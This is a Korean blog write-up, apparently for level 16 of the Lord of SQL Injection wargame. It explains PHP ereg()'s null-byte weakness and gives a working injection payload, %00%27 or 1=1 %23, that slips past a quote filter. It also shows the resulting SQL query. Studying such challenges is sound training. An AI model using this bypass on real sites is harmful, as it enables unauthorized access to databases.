Lord Of SQL Injection [ 16.Zombie Assassin ]
2017. 9. 16. 18:54ㆍWebHacking/Lord of SQL injection
[ ereg함수의 취약점 ]
ereg( "A" , 문자열 ) : 문자열에 A라는 문자가 있는지 확인한다 => 있으면 참, 없으면 거짓
ereg함수의 취약점 => Null을 문자의 끝으로 인식하고 Null까지만 확인한다
ereg( "A" , "abcd%00efg" ) 의 예를 살펴보자
해당 함수는 " abcd " 를 확인하고 %00(Null) 값을 확인하면 그 이후의 문자를 확인하지 않는다
따라서 " efg " 대신에 우회하고 싶은 문자를 입력해서 우회할 수 있다
https://...php?pw=%00%27 or 1=1 %23 |
=> SELECT id FROM prob_zombie_assassin WHERE id='' and pw='' or 1=1 #'
$_GET[pw] = %00%27 or 1=1 %23
ereg ( "'" , %00%27 or 1=1 %23 ) 함수에서 %00까지만 확인하여서 %27을 확인하지 않는다
따라서 요즘 mysql에서는 preg_match() 함수를 사용한다
* ( %27 = ' , %23 = # )
'WebHacking > Lord of SQL injection' 카테고리의 다른 글
Lord Of SQL Injection [ 18.Nightmare ] (0) | 2017.09.16 |
---|---|
Lord Of SQL Injection [ 17.Succubus ] (0) | 2017.09.16 |
Lord Of SQL Injection [ 15. Assassin ] (0) | 2017.09.13 |
Lord Of SQL Injection [ 14. Giant ] (0) | 2017.09.13 |
Lord Of SQL Injection [ 13. BugBear ] (0) | 2017.09.13 |